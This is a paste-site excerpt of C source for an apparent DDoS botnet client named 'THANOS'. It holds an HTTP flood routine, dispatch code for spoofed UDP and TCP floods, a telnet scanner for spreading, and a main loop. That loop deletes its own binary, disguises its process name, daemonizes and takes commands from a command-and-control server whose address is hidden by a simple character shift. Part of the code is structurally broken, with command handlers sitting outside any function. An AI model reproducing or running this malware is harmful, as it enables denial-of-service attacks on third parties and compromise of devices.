  1339. struct sockaddr_in addr;
  1340. int on = 1, sock;
  1341. if ((hp = gethostbyname(host)) == NULL) return 0;
  1342. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1343. addr.sin_port = htons(port);
  1344. addr.sin_family = AF_INET;
  1345. sock = socket(PF_INET, SOCK_STREAM, 0);
  1346. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1347. if (sock == -1) return 0;
  1348. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1349. return sock;
  1350. }
  1351. int socket_connect2(char *host, char *port)
  1352. {
  1353. struct addrinfo hints, *servinfo, *p;
  1354. int sock, r;
  1355. memset(&hints, 0, sizeof(hints));
  1356. hints.ai_family = AF_UNSPEC;
  1357. hints.ai_socktype = SOCK_STREAM;
  1358. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0)
  1359. {
  1360. exit(0);
  1361. }
  1362.  
  1363. for(p = servinfo; p != NULL; p = p->ai_next) {
  1364. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
  1365. {
  1366. continue;
  1367. }
  1368. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1)
  1369. {
  1370. close(sock);
  1371. continue;
  1372. }
  1373. break;
  1374. }
  1375.  
  1376. if(p == NULL)
  1377. {
  1378. if(servinfo)
  1379. freeaddrinfo(servinfo);
  1380. //fprintf(stderr, "No connection could be made to %s:%s\n", host, port);
  1381. exit(0);
  1382. }
  1383.  
  1384. if(servinfo)
  1385. freeaddrinfo(servinfo);
  1386. //fprintf(stderr, "[Connected -> %s:%s]\n", host, port);u
  1387. return sock;
  1388. }
  1389. //http flood written by shadoh
  1390. void httphex(char *method, char *host, in_port_t port, int timeEnd, int power)
  1391. {
  1392. int socket, socket2, i, end = time(NULL) + timeEnd, sendIP = 0;
  1393. char choosepath[1024];
  1394. char request[512], buffer[1];
  1395. const char *methods[] = {"GET", "HEAD", "POST"};
  1396. const char *UserAgents[] =
  1397. {
  1398. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  1399. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1400. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  1401. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1402. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  1403. };
  1404. sprintf(choosepath, "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A");
  1405.  
  1406. for (i = 0; i < power; i++)
  1407. {
  1408. if(!strcmp(method, "RANDOM"))
  1409. {
  1410. sprintf(request, "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", methods[(rand() % 3)], choosepath, host, UserAgents[(rand() % 5)]);
  1411. }
  1412. else
  1413. {
  1414. sprintf(request, "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, choosepath, host, UserAgents[(rand() % 5)]);
  1415. }
  1416.  
  1417.  
  1418. if (fork())
  1419. {
  1420. while (end > time(NULL))
  1421. {
  1422. socket = socket_connect(host, port);
  1423. socket2 = socket_connect2(host, port);
  1424. if (socket != 0)
  1425. {
  1426. write(socket, request, strlen(request));
  1427. write(socket2, request, strlen(request));
  1428. read(socket, buffer, 1);
  1429. read(socket2, buffer, 1);
  1430. close(socket);
  1431. close(socket2);
  1432. }
  1433. }
  1434. exit(0);
  1435. }
  1436. }
  1437. }
  1438.  
  1439. void commandcontrol(int argc, unsigned char *argv[])
  1440. {
  1441.  
  1442.  
  1443. }
  1444.  
  1445. if(!strcmp(argv[0], "UDPFLOOD"))
  1446. {
  1447. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1448. {
  1449.  
  1450. return;
  1451. }
  1452.  
  1453. unsigned char *ip = argv[1];
  1454. int port = atoi(argv[2]);
  1455. int time = atoi(argv[3]);
  1456. int spoofed = atoi(argv[4]);
  1457. int packetsize = atoi(argv[5]);
  1458. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1459.  
  1460. if(strstr(ip, ",") != NULL)
  1461. {
  1462. unsigned char *hi = strtok(ip, ",");
  1463. while(hi != NULL)
  1464. {
  1465. if(!listFork())
  1466. {
  1467. audp(hi, port, time, spoofed, packetsize, pollinterval);
  1468. close(uhmysockethere);
  1469. _exit(0);
  1470. }
  1471. hi = strtok(NULL, ",");
  1472. }
  1473. } else {
  1474. if (listFork()) { return; }
  1475.  
  1476. audp(ip, port, time, spoofed, packetsize, pollinterval);
  1477. close(uhmysockethere);
  1478.  
  1479. _exit(0);
  1480. }
  1481. }
  1482.  
  1483. if(!strcmp(argv[0], "TCPFLOOD"))
  1484. {
  1485. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1486. {
  1487. return;
  1488. }
  1489.  
  1490. unsigned char *ip = argv[1];
  1491. int port = atoi(argv[2]);
  1492. int time = atoi(argv[3]);
  1493. int spoofed = atoi(argv[4]);
  1494. unsigned char *flags = argv[5];
  1495.  
  1496. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1497. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1498.  
  1499. if(strstr(ip, ",") != NULL)
  1500. {
  1501. unsigned char *hi = strtok(ip, ",");
  1502. while(hi != NULL)
  1503. {
  1504. if(!listFork())
  1505. {
  1506. atcp(hi, port, time, spoofed, flags, psize, pollinterval);
  1507. close(uhmysockethere);
  1508. _exit(0);
  1509. }
  1510. hi = strtok(NULL, ",");
  1511. }
  1512. } else {
  1513. if (listFork()) { return; }
  1514.  
  1515. atcp(ip, port, time, spoofed, flags, psize, pollinterval);
  1516. close(uhmysockethere);
  1517.  
  1518. _exit(0);
  1519. }
  1520. }
  1521.  
  1522. if(!strcmp(argv[0], "KT"))
  1523. {
  1524. int killed = 0;
  1525. unsigned long i;
  1526. for (i = 0; i < numpids; i++) {
  1527. if (pids[i] != 0 && pids[i] != getpid()) {
  1528. kill(pids[i], 9);
  1529. killed++;
  1530. }
  1531. }
  1532. }
  1533. if(!strcmp(argv[0], "THANOS"))
  1534. {
  1535. if(argc != 2)
  1536. {
  1537. thanosprint(uhmysockethere, "THANOS ON | OFF");
  1538. return;
  1539. }
  1540.  
  1541. if(!strcmp(argv[1], "OFF"))
  1542. {
  1543. if(scanPid == 0) return;
  1544.  
  1545. kill(scanPid, 9);
  1546. thanosprint(uhmysockethere, "[THANOS] KILLED SCANNER\n");
  1547. scanPid = 0;
  1548. }
  1549.  
  1550. if(!strcmp(argv[1], "ON"))
  1551. {
  1552. if(scanPid != 0) return;
  1553. uint32_t parent;
  1554. parent = fork();
  1555. if (parent > 0) { scanPid = parent; return;}
  1556. else if(parent == -1) return;
  1557. telnet_scanner();
  1558.  
  1559. _exit(0);
  1560. }
  1561. }
  1562. if(!strcmp(argv[0], "STOBLLIK"))
  1563. {
  1564.  
  1565. _exit(0);
  1566. }
  1567. }
  1568.  
  1569. int initConnection()
  1570. {
  1571. unsigned char server[4096];
  1572. memset(server, 0, 4096);
  1573. if(uhmysockethere) { close(uhmysockethere); uhmysockethere = 0; }
  1574. int port = mainport;
  1575. uhmysockethere = socket(AF_INET, SOCK_STREAM, 0);
  1576. int r;
  1577. char str[] = {"4:;145;14;81583"};
  1578. for(r = 0; (r < 100 && str[r] != '\0'); r++)
  1579. str[r] = str[r] - 3;
  1580.  
  1581. if(!connectTimeout(uhmysockethere, str, port, 30)) return 1;
  1582.  
  1583. return 0;
  1584.  
  1585. }
  1586.  
  1587. int main(int argc, unsigned char *argv[])
  1588. {
  1589.  
  1590. char name_buf[32];
  1591. char id_buf[32];
  1592. int name_buf_len;
  1593. unlink(argv[0]);
  1594. rand_init();
  1595. name_buf_len = ((rand_next() % 4) + 3) * 4;
  1596. rand_alphastr(name_buf, name_buf_len);
  1597. name_buf[name_buf_len] = 0;
  1598. strcpy(argv[0], name_buf);
  1599. name_buf_len = ((rand_next() % 6) + 3) * 4;
  1600. rand_alphastr(name_buf, name_buf_len);
  1601. name_buf[name_buf_len] = 0;
  1602. prctl(PR_SET_NAME, name_buf);
  1603. printf("THANOS\r\n");
  1604. getOurIP();
  1605. srand(time(NULL) ^ getpid());
  1606. rand_init();
  1607. pid_t pid1;
  1608. pid_t pid2;
  1609. int status;
  1610. if (pid1 = fork()) {
  1611. waitpid(pid1, &status, 0);
  1612. exit(0);
  1613. } else if (!pid1) {
  1614. if (pid2 = fork()) {
  1615. exit(0);
  1616. } else if (!pid2) {} else { }
  1617. } else {}
  1618. chdir("/");
  1619.  
  1620. signal(SIGPIPE, SIG_IGN);
  1621. while(1)
  1622. {
  1623.  
  1624. if(initConnection()) { sleep(3); continue; }
  1625. char commBuf[4096];
  1626. int got = 0;
  1627. int i = 0;
  1628.  
  1629. while((got = recvLine(uhmysockethere, commBuf, 4096)) != -1)
  1630. {
  1631. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1632. unsigned int *newpids, on;
  1633. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1634. pids[on - 1] = 0;
  1635. numpids--;
  1636. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1637. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1638. free(pids);
  1639. pids = newpids;
  1640. }
  1641.  
  1642. commBuf[got] = 0x00;
  1643.  
  1644. trim(commBuf);
  1645.  
  1646. unsigned char *message = commBuf;
  1647.  
  1648. if(*message == '.')
  1649. {
  1650. unsigned char *nickMask = message;
  1651.  
  1652. if(*nickMask == 0x00) continue;
  1653. *(nickMask) = 0x00;
  1654. nickMask = message;
  1655. message = message + strlen(nickMask) + 1;
  1656. while(message[strlen(message)] == '\n' || message[strlen(message)] == '\r') message[strlen(message) ] = 0x00;
  1657. unsigned char *command = message;
  1658. while(*message != ' ' && *message != 0x00) message++;
  1659. *message = 0x00;
  1660. message++;
  1661. unsigned char *tmpcommand = command;
  1662. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1663. unsigned char *params[10];
  1664. int paramsCount = 1;
  1665. unsigned char *pch = strtok(message, " ");
  1666. params[0] = command;
  1667.  
  1668. while(pch)
  1669. {
  1670. if(*pch != '\n')
  1671. {
  1672. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1673. memset(params[paramsCount], 0, strlen(pch) + 1);
  1674. strcpy(params[paramsCount], pch);
  1675. paramsCount++;
  1676. }
  1677. pch = strtok(NULL, " ");
  1678. }
  1679. commandcontrol(paramsCount, params);
  1680.  
  1681. if(paramsCount > 1)
  1682. {
  1683. int q = 1;
  1684. for(q = 1; q < paramsCount; q++)
  1685. {
  1686. free(params[q]);
  1687. }
  1688. }
  1689. }
  1690. }
  1691.  
  1692. }
  1693.  
  1694. return 0;
  1695. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement